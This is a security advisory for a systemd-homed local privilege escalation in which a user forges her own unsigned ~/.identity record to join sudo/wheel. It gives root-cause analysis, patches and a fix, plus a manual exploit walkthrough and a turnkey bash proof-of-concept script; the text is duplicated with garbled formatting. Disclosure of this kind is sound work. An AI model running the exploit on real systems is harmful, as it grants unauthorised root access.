Impact
systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user
Patches
v262 (0755bb1 + 765dc96)
v261.2 (d392d17 + a7bce5b)
v260.4 (0fb35a3 + b7addfc)
v259.8 (4365d4a + 7de1a48)
v258.10 (8735bb6 + 04cba0a)
Workarounds
Remove privileged system groups from the system (e.g.: sudo, wheel)
References
Original report follows
Affected component
- Package: systemd —
systemd-homed (systemd-homed.service, systemd-homework).
- Configuration: default. Any host that manages users with
homectl/homed.
- Affected versions: all releases of
systemd-homed — v245 through v261 and
current main. The home_authenticating_finish handler has stored the worker
record without signature verification since homed was first introduced in commit
70a5db5822c ("home: add new systemd-homed service that can manage LUKS homes",
2019-07-04, first released in v245); git blame confirms the store line
(homed-home.c:1112) is unchanged since that commit, and the sibling verify calls
were added in the same commit and never extended to this handler. The bug is present
unchanged at v261 and on main.
- CWE: CWE-347 (Improper Verification of Cryptographic Signature); CWE-269
(Improper Privilege Management).
- Severity: High. Suggested CVSS 3.1 8.8 —
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (local, existing unprivileged homed user, no
interaction, scope change user→root). Adjust AC if you consider the
"keep-home-active + one fresh login" precondition to raise attack complexity.
Summary
systemd-homed adopts the home (user) record returned by its worker/helper process
(systemd-homework) into the manager's authoritative in-memory state
without verifying the record's cryptographic signature on the authenticate code
path — unlike the fixate and activate paths, which call
home_verify_user_record() first. (The worker runs as root but does not hold homed's
signing keys — signature verification is architecturally the manager's responsibility,
so a record that reaches the manager unverified is trusted by nothing.) Because record reconciliation selects the winning
record purely by timestamp (no signature check) and honors the user-writable embedded
~/.identity, a homed-managed user can forge security-relevant fields of her own
record (memberOf, locked, notAfterUSec, pkcs11TokenUri, fido2HmacCredential,
rateLimit*), have homed adopt and serve them over io.systemd.UserDatabase, and
escalate to root.
homed's entire trust model is that the user does not control the security-relevant
fields of her own record — those are protected by a signature made with a key only
homed holds. This path breaks that model.
Root cause
The worker holds no signing keys; the manager must re-verify any worker-returned
record against homed's trusted keys before adopting it. Two of the three worker
completion handlers do:
home_fixate_finish() — home_verify_user_record(h, hr, …) (src/home/homed-home.c:750)
before home_set_record(h, hr) (:754).
home_activate_finish() — home_verify_user_record(h, hr, …) (:841) before
home_set_record(h, hr) (:845).
The third does not:
/* src/home/homed-home.c — home_authenticating_finish() */
if (hr) {
r = home_set_record(h, hr); /* :1112 — NO home_verify_user_record() */
if (r < 0)
log_warning_errno(r, "Failed to update home record, ignoring: %m");
else {
r = user_record_good_authentication(h->record);
...
r = home_save_record(h); /* persists the unverified record */
}
}
The record adopted here is fully user-controlled and never signature-checked earlier
on this path:
home_authenticate() (:1539) → home_authenticate_internal() (:1524) →
home_start_work(h, "inspect", h->record, secret, …) (:1531). Completion routes
to home_authenticating_finish() (:1211) for HOME_AUTHENTICATING /
HOME_AUTHENTICATING_WHILE_ACTIVE / HOME_AUTHENTICATING_FOR_ACQUIRE.
- The worker
inspect (src/home/homework.c:1845) →
home_load_embedded_identity(…, USER_RECONCILE_ANY, …) (:1867) reads the
user-owned ~/.identity (read_identity_file, homework.c:561; the file is created
0600 and fchowned to the user, write_identity_file :601/:620).
user_record_reconcile() (src/home/user-record-util.c:180) chooses the winner
solely by last_change_usec (:221-272): a newer embedded record wins
(USER_RECONCILE_EMBEDDED_WON). There is no signature check in the reconcile.
user_record_authenticate() (homework.c:59) tests only the password/token — never
the signature — so the user's unchanged password authenticates the tampered record.
home_set_record()/suitable_home_record() (:268/:68) validate only
name/realm/uid/gid suitability — they do not gate memberOf or any of the other
security fields.
The adopted record then crosses a privilege boundary: vl_method_get_memberships()
(src/home/homed-varlink.c:301) serves h->record->member_of verbatim over
io.systemd.UserDatabase (bound on /run/systemd/userdb/io.systemd.Home,
homed-manager.c:1083), with no signature or trust gate — member_of is a regular
field. nss-systemd's initgroups turns those memberships into real supplementary
GIDs for any newly-established session.
The homectl authenticate verb is authorized for the record's owner with no admin
credential: bus_home_method_authenticate() calls
home_verify_polkit_async(h, message, "org.freedesktop.home1.authenticate-home", h->uid, error) (src/home/homed-home-bus.c:407) — passing good_uid = h->uid, which
bypasses the polkit admin check for the owner.
Note that homed already knows this exact escalation: the online update path
(user_record_self_changes_allowed, src/shared/user-record.c:2515) carries a
comment describing the memberOf:["wheel"] self-escalation and deliberately computes
the self-modifiable allowlist from the current record, not the incoming one. That
guard protects Update()/ChangePassword() — but the offline inspect/authenticate
adoption path bypasses it.
Reproduction (disposable VM only — this yields real root)
Do not run this on a production or shared host: on success an unprivileged user
obtains root. Use a throwaway VM/snapshot.
Preconditions on a fresh VM with systemd (v246+):
# as root
systemctl enable --now systemd-homed
grep -E '^\s*%wheel\b' /etc/sudoers # this walkthrough targets Fedora/Arch,
# where %wheel grants sudo
grep -E '^(passwd|group):' /etc/nsswitch.conf # confirm 'systemd' is listed (homed default)
This manual walkthrough targets Debian/Ubuntu, where the %sudo group grants
sudo. On Fedora/Arch, substitute wheel for sudo in every command below (the
group that appears in /etc/sudoers on that distro). The turnkey script further down
auto-detects %sudo vs %wheel.
0. Create an ordinary, unprivileged homed user
# as root — --storage=directory keeps the PoC deterministic (no LUKS image); the bug is
# backend-agnostic, so the system default storage works too.
homectl create alice --storage=directory --shell=/bin/bash # set a password, e.g. "alicepw"
id alice # groups=…(alice) — NO sudo
1. As alice, activate the home and confirm she cannot sudo
machinectl shell alice@ # (or: ssh alice@localhost / VT login)
# ---- now inside alice's session; her home is active/mounted ----
id # no sudo group
sudo id # DENIED: "alice is not in the sudoers file"
ls -l ~/.identity # -rw------- alice alice (hers, 0600)
2. As alice, forge her own record: add sudo + bump the timestamp (no re-sign)
umask 077
jq '.memberOf = ["sudo"] | .lastChangeUSec = (.lastChangeUSec + 3600000000)' \
~/.identity > ~/.identity.new
mv -f ~/.identity.new ~/.identity
chmod 600 ~/.identity
# The signature section (if present) is now stale/invalid. That is irrelevant:
# nothing checks it on the authenticate path.
# (lastChangeUSec ~1.7e15 is well below 2^53, so jq's number handling is exact.)
3. As alice, trigger adoption of the forged record
homectl authenticate alice # enter alice's real password ("alicepw")
This runs the worker inspect; the forged (newer) embedded record wins the reconcile;
home_authenticating_finish stores it into h->record without verifying the
signature.
4. Observe the forged membership crossing into NSS (from any context)
# from alice's session, or from root, or anywhere:
id alice # now shows the sudo group (e.g. …,27(sudo))
getent group sudo # alice now listed
homectl inspect alice | grep -i member # Member Of: sudo
5. Escalate: a fresh login picks up the group, then sudo → root
su - alice # fresh initgroups(); enter alice's password
# ---- new shell ----
id # gid list now includes the sudo group
sudo id # uid=0(root) ← PRIVILEGE ESCALATION
Before/after money shot: in step 1 sudo id was denied; after the attack and one
fresh login, sudo id returns uid=0(root). alice was never granted sudo by an
administrator.
Turnkey reproduction script (PASS/FAIL)
The same steps as a single self-contained script. It auto-detects the sudo-granting
group (%sudo/%wheel), creates the user, forges the record as the user, triggers
adoption, asserts the forged membership is served by NSS, attempts the fresh-login
sudo → root, and cleans up on exit. Run only in a disposable VM (on success an
unprivileged user gains root). Requires jq.
#!/usr/bin/env bash
# systemd-homed SEC-026 PoC — RUN ONLY IN A DISPOSABLE VM (yields real root).
set -u
USER_NAME=poc_alice
USER_PW='poc-Password-123' # the user's real password (she keeps it; auth still works)
FAIL=0
say() { printf '\n=== %s ===\n' "$*"; }
ok() { printf ' [PASS] %s\n' "$*"; }
bad() { printf ' [FAIL] %s\n' "$*"; FAIL=1; }
info() { printf ' [info] %s\n' "$*"; }
[ "$(id -u)" -eq 0 ] || { echo "run as root (in a VM)"; exit 2; }
command -v jq >/dev/null || { echo "install jq first"; exit 2; }
command -v homectl >/dev/null || { echo "homectl not found — systemd-homed required"; exit 2; }
systemctl is-active --quiet systemd-homed || systemctl start systemd-homed
SUDO_GROUP=$(grep -oPm1 '^\s*%\K(wheel|sudo)' /etc/sudoers 2>/dev/null || true)
[ -n "$SUDO_GROUP" ] || { info "no %sudo/%wheel rule found; group injection still proven, root not demonstrable"; SUDO_GROUP=sudo; }
info "targeting privileged group: $SUDO_GROUP"
cleanup() { say "cleanup"; loginctl disable-linger "$USER_NAME" 2>/dev/null||true; homectl deactivate "$USER_NAME" 2>/dev/null||true; homectl remove "$USER_NAME" 2>/dev/null||true; }
trap cleanup EXIT
say "0. create an ordinary, unprivileged homed user (NOT in $SUDO_GROUP)"
homectl remove "$USER_NAME" 2>/dev/null || true
NEWPASSWORD="$USER_PW" homectl create "$USER_NAME" --storage=directory --shell=/bin/bash || { echo "create failed"; exit 2; }
# Activate (unlock+mount) the home so ~/.identity exists/editable and the later authenticate
# runs WHILE_ACTIVE. enable-linger cannot unlock the home (no password), so activate explicitly.
PASSWORD="$USER_PW" homectl activate "$USER_NAME" || { echo "activate failed"; exit 2; }
loginctl enable-linger "$USER_NAME" 2>/dev/null || true
sleep 1
HOMEDIR=$(getent passwd "$USER_NAME" | cut -d: -f6)
{ [ -n "$HOMEDIR" ] && [ -f "$HOMEDIR/.identity" ]; } || { echo "home not active / .identity missing (state=$(homectl --value -p State inspect "$USER_NAME" 2>/dev/null))"; exit 2; }
info "home active at $HOMEDIR ; identity: $(ls -l "$HOMEDIR/.identity") <-- 0600, user-owned"
say "1. BEFORE: user is not privileged"
id -nG "$USER_NAME" | tr ' ' '\n' | grep -qx "$SUDO_GROUP" && bad "already in $SUDO_GROUP" || ok "id shows NO $SUDO_GROUP"
runuser -l "$USER_NAME" -c 'sudo -n true' 2>/dev/null && bad "user could already sudo" || ok "fresh session cannot sudo"
say "2. forge the user's OWN ~/.identity: add $SUDO_GROUP + bump lastChangeUSec (unsigned)"
runuser -u "$USER_NAME" -- bash -c "
set -e; umask 077
jq '.memberOf = ((.memberOf // []) + [\"$SUDO_GROUP\"] | unique) | .lastChangeUSec = ((.lastChangeUSec // 0) + 3600000000)' \
'$HOMEDIR/.identity' > '$HOMEDIR/.identity.new'
mv -f '$HOMEDIR/.identity.new' '$HOMEDIR/.identity'; chmod 600 '$HOMEDIR/.identity'
" || { bad "could not edit ~/.identity as the user"; exit 1; }
ok "user rewrote her own ~/.identity (memberOf += $SUDO_GROUP, timestamp bumped, signature now stale)"
say "3. trigger adoption: homectl authenticate (owner-authorized, only the user's own password)"
runuser -l "$USER_NAME" -c "PASSWORD='$USER_PW' homectl authenticate '$USER_NAME'" \
&& ok "authenticate ok (forged record adopted WITHOUT verify)" || bad "authenticate failed (see journalctl -u systemd-homed)"
say "4. RESULT: forged group is now served by the system identity DB"
sleep 1
if id -nG "$USER_NAME" | tr ' ' '\n' | grep -qx "$SUDO_GROUP"; then ok "id $USER_NAME now reports $SUDO_GROUP <-- crossed into NSS"; else bad "id does not show $SUDO_GROUP"; fi
info "id $USER_NAME -> $(id "$USER_NAME" 2>/dev/null)"
say "5. ESCALATE: a fresh session picks up the group -> sudo -> root"
OUT=$(runuser -l "$USER_NAME" -c "id; echo ---; sudo -n id 2>/dev/null || echo 'sudo-needs-password'")
printf '%s\n' "$OUT" | sed 's/^/ /'
if printf '%s' "$OUT" | grep -q 'uid=0(root)'; then ok "ROOT: fresh $USER_NAME session reached uid=0 via sudo"
elif printf '%s' "$OUT" | grep -q "$SUDO_GROUP"; then ok "forged $SUDO_GROUP present in a real fresh-login credential set (sudo needs the user's password for %$SUDO_GROUP)"
else bad "fresh session did not gain $SUDO_GROUP"; fi
say "VERDICT"
[ "$FAIL" -eq 0 ] && echo " >>> VULNERABLE: unprivileged homed user injected herself into '$SUDO_GROUP'. A fixed homed shows NO $SUDO_GROUP at step 4." || echo " >>> Not reproduced — see output + journalctl -u systemd-homed."
exit "$FAIL"
Expected behavior with the fix
homectl authenticate rejects the forged record because its signature does not verify
against homed's key; h->record stays clean; id alice never shows wheel.
Notes / robustness
- Keep the home active during the window: the bad-signature record is dropped by
manager_verify_user_record() on homed restart/SIGHUP
(manager_enumerate_records → homed-manager.c:428) and by
home_activate_finish/home_fixate_finish on a full deactivate→activate cycle
(homed-home.c:750/:841). While the home stays active it is trivially re-poisoned
by repeating steps 2–3.
- Existing processes are not retro-actively escalated (supplementary GIDs are fixed
at login), which is why step 5 uses a fresh initgroups (su -/new login) — trivial
for a local user.
- Backend-agnostic: works for
luks, directory, subvolume, fscrypt, etc.,
because ~/.identity is edited inside the active (mounted) home.
Impact
- Privilege escalation to root via forged group membership (
memberOf → sudo/
wheel/docker/disk/shadow/…).
- Account lock / expiry bypass: clearing
locked or resetting
notBeforeUSec/notAfterUSec in the user's own record re-enables an
administratively locked or expired account.
- Authentication downgrade: dropping
fido2HmacCredential/pkcs11TokenUri removes
a required second factor for future unlocks; lowering rateLimit* weakens
anti-bruteforce.
All from data the unprivileged user legitimately owns, with no administrator
credential.
Suggested fix
Verify before adopting, exactly like the sibling handlers:
/* src/home/homed-home.c — home_authenticating_finish() */
if (hr) {
bool signed_locally;
r = home_verify_user_record(h, hr, &signed_locally, &error); /* ADD */
if (r < 0)
goto finish;
r = home_set_record(h, hr);
if (r < 0)
log_warning_errno(r, "Failed to update home record, ignoring: %m");
else {
h->signed_locally = signed_locally; /* ADD */
r = user_record_good_authentication(h->record);
...
}
}
(Mirror of home_activate_finish at homed-home.c:841-845. The finish: error label
and sd_bus_error are already present in home_authenticating_finish.)
Verification
Every load-bearing line above was read from upstream source; the line numbers match
tag v261 (and current main). The full exploit chain was traced end-to-end
through the code — from the missing verification in home_authenticating_finish
(homed-home.c:1112), to the timestamp-only reconcile (user-record-util.c:221-272),
to the raw member_of service over io.systemd.UserDatabase (homed-varlink.c:301),
to the owner-scoped polkit bypass (homed-home-bus.c:407). No live proof-of-concept
was executed (it would create a real root escalation on the test host); the
reproduction above is written for a disposable VM.
Impact
systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user
Patches
v262 (0755bb1 + 765dc96)
v261.2 (d392d17 + a7bce5b)
v260.4 (0fb35a3 + b7addfc)
v259.8 (4365d4a + 7de1a48)
v258.10 (8735bb6 + 04cba0a)
Workarounds
Remove privileged system groups from the system (e.g.:
sudo,wheel)References
Original report follows
Affected component
systemd-homed(systemd-homed.service,systemd-homework).homectl/homed.systemd-homed— v245 through v261 andcurrent
main. Thehome_authenticating_finishhandler has stored the workerrecord without signature verification since homed was first introduced in commit
70a5db5822c("home: add new systemd-homed service that can manage LUKS homes",2019-07-04, first released in v245);
git blameconfirms the store line(
homed-home.c:1112) is unchanged since that commit, and the sibling verify callswere added in the same commit and never extended to this handler. The bug is present
unchanged at
v261and onmain.(Improper Privilege Management).
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(local, existing unprivileged homed user, nointeraction, scope change user→root). Adjust
ACif you consider the"keep-home-active + one fresh login" precondition to raise attack complexity.
Summary
systemd-homedadopts the home (user) record returned by its worker/helper process(
systemd-homework) into the manager's authoritative in-memory statewithout verifying the record's cryptographic signature on the authenticate code
path — unlike the fixate and activate paths, which call
home_verify_user_record()first. (The worker runs as root but does not hold homed'ssigning keys — signature verification is architecturally the manager's responsibility,
so a record that reaches the manager unverified is trusted by nothing.) Because record reconciliation selects the winning
record purely by timestamp (no signature check) and honors the user-writable embedded
~/.identity, a homed-managed user can forge security-relevant fields of her ownrecord (
memberOf,locked,notAfterUSec,pkcs11TokenUri,fido2HmacCredential,rateLimit*), have homed adopt and serve them overio.systemd.UserDatabase, andescalate to root.
homed's entire trust model is that the user does not control the security-relevant
fields of her own record — those are protected by a signature made with a key only
homed holds. This path breaks that model.
Root cause
The worker holds no signing keys; the manager must re-verify any worker-returned
record against homed's trusted keys before adopting it. Two of the three worker
completion handlers do:
home_fixate_finish()—home_verify_user_record(h, hr, …)(src/home/homed-home.c:750)before
home_set_record(h, hr)(:754).home_activate_finish()—home_verify_user_record(h, hr, …)(:841) beforehome_set_record(h, hr)(:845).The third does not:
The record adopted here is fully user-controlled and never signature-checked earlier
on this path:
home_authenticate()(:1539) →home_authenticate_internal()(:1524) →home_start_work(h, "inspect", h->record, secret, …)(:1531). Completion routesto
home_authenticating_finish()(:1211) forHOME_AUTHENTICATING/HOME_AUTHENTICATING_WHILE_ACTIVE/HOME_AUTHENTICATING_FOR_ACQUIRE.inspect(src/home/homework.c:1845) →home_load_embedded_identity(…, USER_RECONCILE_ANY, …)(:1867) reads theuser-owned
~/.identity(read_identity_file,homework.c:561; the file is created0600andfchowned to the user,write_identity_file:601/:620).user_record_reconcile()(src/home/user-record-util.c:180) chooses the winnersolely by
last_change_usec(:221-272): a newer embedded record wins(
USER_RECONCILE_EMBEDDED_WON). There is no signature check in the reconcile.user_record_authenticate()(homework.c:59) tests only the password/token — neverthe signature — so the user's unchanged password authenticates the tampered record.
home_set_record()/suitable_home_record()(:268/:68) validate onlyname/realm/uid/gid suitability — they do not gate
memberOfor any of the othersecurity fields.
The adopted record then crosses a privilege boundary:
vl_method_get_memberships()(
src/home/homed-varlink.c:301) servesh->record->member_ofverbatim overio.systemd.UserDatabase(bound on/run/systemd/userdb/io.systemd.Home,homed-manager.c:1083), with no signature or trust gate —member_ofis a regularfield.
nss-systemd'sinitgroupsturns those memberships into real supplementaryGIDs for any newly-established session.
The
homectl authenticateverb is authorized for the record's owner with no admincredential:
bus_home_method_authenticate()callshome_verify_polkit_async(h, message, "org.freedesktop.home1.authenticate-home", h->uid, error)(src/home/homed-home-bus.c:407) — passinggood_uid = h->uid, whichbypasses the polkit admin check for the owner.
Note that homed already knows this exact escalation: the online update path
(
user_record_self_changes_allowed,src/shared/user-record.c:2515) carries acomment describing the
memberOf:["wheel"]self-escalation and deliberately computesthe self-modifiable allowlist from the current record, not the incoming one. That
guard protects
Update()/ChangePassword()— but the offlineinspect/authenticateadoption path bypasses it.
Reproduction (disposable VM only — this yields real root)
Preconditions on a fresh VM with systemd (v246+):
0. Create an ordinary, unprivileged homed user
1. As alice, activate the home and confirm she cannot sudo
2. As alice, forge her own record: add sudo + bump the timestamp (no re-sign)
3. As alice, trigger adoption of the forged record
homectl authenticate alice # enter alice's real password ("alicepw")This runs the worker
inspect; the forged (newer) embedded record wins the reconcile;home_authenticating_finishstores it intoh->recordwithout verifying thesignature.
4. Observe the forged membership crossing into NSS (from any context)
5. Escalate: a fresh login picks up the group, then sudo → root
Before/after money shot: in step 1
sudo idwas denied; after the attack and onefresh login,
sudo idreturnsuid=0(root). alice was never grantedsudoby anadministrator.
Turnkey reproduction script (PASS/FAIL)
The same steps as a single self-contained script. It auto-detects the sudo-granting
group (
%sudo/%wheel), creates the user, forges the record as the user, triggersadoption, asserts the forged membership is served by NSS, attempts the fresh-login
sudo → root, and cleans up on exit. Run only in a disposable VM (on success anunprivileged user gains root). Requires
jq.Expected behavior with the fix
homectl authenticaterejects the forged record because its signature does not verifyagainst homed's key;
h->recordstays clean;id alicenever showswheel.Notes / robustness
manager_verify_user_record()on homed restart/SIGHUP(
manager_enumerate_records→homed-manager.c:428) and byhome_activate_finish/home_fixate_finishon a full deactivate→activate cycle(
homed-home.c:750/:841). While the home stays active it is trivially re-poisonedby repeating steps 2–3.
at login), which is why step 5 uses a fresh
initgroups(su -/new login) — trivialfor a local user.
luks,directory,subvolume,fscrypt, etc.,because
~/.identityis edited inside the active (mounted) home.Impact
memberOf→sudo/wheel/docker/disk/shadow/…).lockedor resettingnotBeforeUSec/notAfterUSecin the user's own record re-enables anadministratively locked or expired account.
fido2HmacCredential/pkcs11TokenUriremovesa required second factor for future unlocks; lowering
rateLimit*weakensanti-bruteforce.
All from data the unprivileged user legitimately owns, with no administrator
credential.
Suggested fix
Verify before adopting, exactly like the sibling handlers:
(Mirror of
home_activate_finishathomed-home.c:841-845. Thefinish:error labeland
sd_bus_errorare already present inhome_authenticating_finish.)Verification
Every load-bearing line above was read from upstream source; the line numbers match
tag
v261(and currentmain). The full exploit chain was traced end-to-endthrough the code — from the missing verification in
home_authenticating_finish(
homed-home.c:1112), to the timestamp-only reconcile (user-record-util.c:221-272),to the raw
member_ofservice overio.systemd.UserDatabase(homed-varlink.c:301),to the owner-scoped polkit bypass (
homed-home-bus.c:407). No live proof-of-conceptwas executed (it would create a real root escalation on the test host); the
reproduction above is written for a disposable VM.